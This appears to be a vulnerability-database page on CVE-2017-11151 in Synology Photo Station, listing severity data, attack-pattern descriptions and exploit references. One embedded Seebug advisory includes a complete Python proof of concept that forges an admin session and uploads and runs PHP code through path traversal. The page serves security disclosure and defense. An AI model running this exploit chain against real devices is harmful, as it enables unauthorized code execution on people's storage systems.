Vulnerabilities > CVE-2017-11151 - Improper Authentication vulnerability in Synology Photo Station

047910
CVSS 7.5 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
low complexity
synology
CWE-287
exploit available

Summary

A vulnerability in synotheme_upload.php in Synology Photo Station before 6.7.3-3432 and 6.3-2967 allows remote attackers to upload arbitrary files without authentication via the logo_upload action.

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Authentication Abuse
    An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker. This attack may exploit assumptions made by the target's authentication procedures, such as assumptions regarding trust relationships or assumptions regarding the generation of secret values. This attack differs from Authentication Bypass attacks in that Authentication Abuse allows the attacker to be certified as a valid user through illegitimate means, while Authentication Bypass allows the user to access protected material without ever being certified as an authenticated user. This attack does not rely on prior sessions established by successfully authenticating users, as relied upon for the "Exploitation of Session Variables, Resource IDs and other Trusted Credentials" attack patterns.
  • Exploiting Trust in Client (aka Make the Client Invisible)
    An attack of this type exploits a programs' vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by placing themselves in the communication channel between client and server such that communication directly to the server is possible where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
  • Utilizing REST's Trust in the System Resource to Register Man in the Middle
    This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to place man in the middle once SSL is terminated. Rest applications premise is that they leverage existing infrastructure to deliver web services functionality. An example of this is a Rest application that uses HTTP Get methods and receives a HTTP response with an XML document. These Rest style web services are deployed on existing infrastructure such as Apache and IIS web servers with no SOAP stack required. Unfortunately from a security standpoint, there frequently is no interoperable identity security mechanism deployed, so Rest developers often fall back to SSL to deliver security. In large data centers, SSL is typically terminated at the edge of the network - at the firewall, load balancer, or router. Once the SSL is terminated the HTTP request is in the clear (unless developers have hashed or encrypted the values, but this is rare). The attacker can utilize a sniffer such as Wireshark to snapshot the credentials, such as username and password that are passed in the clear once SSL is terminated. Once the attacker gathers these credentials, they can submit requests to the web service provider just as authorized user do. There is not typically an authentication on the client side, beyond what is passed in the request itself so once this is compromised, then this is generally sufficient to compromise the service's authentication scheme.
  • Man in the Middle Attack
    This type of attack targets the communication between two components (typically client and server). The attacker places himself in the communication channel between the two components. Whenever one component attempts to communicate with the other (data flow, authentication challenges, etc.), the data first goes to the attacker, who has the opportunity to observe or alter it, and it is then passed on to the other component as if it was never intercepted. This interposition is transparent leaving the two compromised components unaware of the potential corruption or leakage of their communications. The potential for Man-in-the-Middle attacks yields an implicit lack of trust in communication or identify between two components.

Exploit-Db

descriptionSynology Photo Station 6.7.3-3432 / 6.3-2967 - Remote Code Execution. CVE-2017-11151,CVE-2017-11152,CVE-2017-11153,CVE-2017-11154,CVE-2017-11155. Webapps exp...
fileexploits/hardware/webapps/42434.py
idEDB-ID:42434
last seen2017-08-09
modified2017-08-08
platformhardware
port
published2017-08-08
reporterExploit-DB
sourcehttps://www.exploit-db.com/download/42434/
titleSynology Photo Station 6.7.3-3432 / 6.3-2967 - Remote Code Execution
typewebapps

Packetstorm

data sourcehttps://packetstormsecurity.com/files/download/143745/sps6-exec.txt
idPACKETSTORM:143745
last seen2017-08-15
published2017-08-08
reporterKacper Szurek
sourcehttps://packetstormsecurity.com/files/143745/Synology-Photo-Station-6.7.3-3432-6.3-2967-Remote-Code-Execution.html
titleSynology Photo Station 6.7.3-3432 / 6.3-2967 Remote Code Execution

Seebug

  • bulletinFamilyexploit
    description### Vulnerability Summary The following advisory describes a Remote Code Execution found in Synology Photo Station versions 6.7.3-3432 and earlier / 6.3-2967 and earlier. Personal Photo Station is an online photo album with blog owned and managed by a DSM user. Synology NAS provides the home/photo folder for you to store photos and videos that you want to share. The system will create index thumbnails of the photos and videos automatically, and then people can view photo albums via a web browser. ### Credit An independent security researcher, Kacper Szurek, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program ### Vendor response The vendor has released patches to address this vulnerability. For more details: https://www.synology.com/zh-tw/support/security/Synology_SA_17_34_PhotoSation ### CVE’s: CVE-2017-11151 CVE-2017-11152 CVE-2017-11153 CVE-2017-11154 CVE-2017-11155 ### Vulnerability details The remote code execution is a combination of 4 different vulnerabilities: * Upload arbitrary files to the specified directories * Log in with a fake authentication mechanism * Log in to Photo Station with any identity * Execute arbitrary code by authenticated user with administrator privileges The chain of vulnerabilities will allow you, in the end, to execute code as: ``` uid=138862(PhotoStation) gid=138862(PhotoStation) groups=138862(PhotoStation) ``` The first step is to exploit the ability to upload arbitrary files – User controlled input is not sufficiently sanitized, when passed to /photo/include/synotheme_upload.php function. Successful exploitation of this vulnerability enables a remote unauthenticated user to upload arbitrary files. The file will be uploaded to `/var/packages/PhotoStation/etc/blog/` or `/var/services/photo/@eaDir/SYNOPHOTO_THEME_DIR/`. The second step is to use the user controlled file to create a valid session by using the the following file content: ``` root|a:2:{s:19:"security_identifier";s:'+str(len(ip))+':"'+ip+'";s:15:"admin_syno_user";s:7:"hlinak3";} ``` And send a request to general_setting.php with the parameter that include the file we uploaded as a session. The third step is to log with the new root user we created. Once we log-in we can upload a file with our malicious code and execute him by send a GET request Furthermore, the last vulnerability is the ability to identify Photo Station version. By default when you visit photo station url `http://IP/photo/#!Albums`, in the source code you can identify the Photo Station version: ``` <script src="js_php/prevent_iframe.js.php?v=6.7.1-3419"></script> ``` 6.7.1-3419 is version of Photo Station installed. ### Proof of Concept ``` import requests # What server you want to attack synology_ip = 'http://192.168.1.100' # Your current IP ip = '192.168.1.200' # PHP code you want to execute php_to_execute = '<?php echo system("id"); ?>' encoded_session = 'root|a:2:{s:19:"security_identifier";s:'+str(len(ip))+':"'+ip+'";s:15:"admin_syno_user";s:7:"hlinak3";}' print "[+] Set fake admin sesssion" file = [('file', ('foo.jpg', encoded_session))] r = requests.post('{}/photo/include/synotheme_upload.php'.format(synology_ip), data = {'action':'logo_upload'}, files=file) print r.text print "[+] Login as fake admin" # Depends on version it might be stored in different dirs payload = {'session': '/../../../../../var/packages/PhotoStation/etc/blog/photo_custom_preview_logo.png'} # payload = {'session': '/../../../../../var/services/photo/@eaDir/SYNOPHOTO_THEME_DIR/photo_custom_preview_logo.png'} try_login = requests.post('{}/photo/include/file_upload.php'.format(synology_ip), params=payload) whichact = {'action' : 'get_setting'} r = requests.post('{}/photo/admin/general_setting.php'.format(synology_ip), data=whichact, cookies=try_login.cookies) print r.text print "[+] Upload php file" c = {'action' : 'save', 'image' : 'data://text/plain;base64,'+php_to_execute.encode('base64'), 'path' : '/volume1/photo/../../../volume1/@appstore/PhotoStation/photo/facebook/exploit'.encode("base64"), 'type' : 'php'} r = requests.post('{}/photo/PixlrEditorHandler.php'.format(synology_ip), data=c, cookies=try_login.cookies) print r.text print "[+] Execute payload" f = requests.get('{}/photo/facebook/exploit.php'.format(synology_ip)) print f.text ```
    idSSV:96331
    last seen2017-11-19
    modified2017-08-08
    published2017-08-08
    reporterRoot
    sourcehttps://www.seebug.org/vuldb/ssvid-96331
    titleSynology Photo Station Unauthenticated Remote Code Execution
  • bulletinFamilyexploit
    descriptionDescription: The remote code execution is a combination of 4 different vulnerabilities: CVE-2017-11151 allows remote attackers to upload arbitrary files to the specified directories. CVE-2017-11152 allows remote attackers to log in with a fake authentication mechanism. CVE-2017-11153 allows remote attackers to log in to Photo Station with any identities. CVE-2017-11154 allows remote authenticated attackers with administrator privileges in Photo Station to execute arbitrary codes on the vulnerable NAS. CVE-2017-11155 allows remote attackers to identify whether Photo Station is vulnerable or not. The chain of vulnerabilities will allow you, in the end, to execute code as: `uid=138862(PhotoStation) gid=138862(PhotoStation) groups=138862(PhotoStation)`
    idSSV:96600
    last seen2017-11-19
    modified2017-09-29
    published2017-09-29
    reporterRoot
    sourcehttps://www.seebug.org/vuldb/ssvid-96600
    titleSynology Photo Station 6.7.3-3432 / 6.3-2967 - Remote Code Execution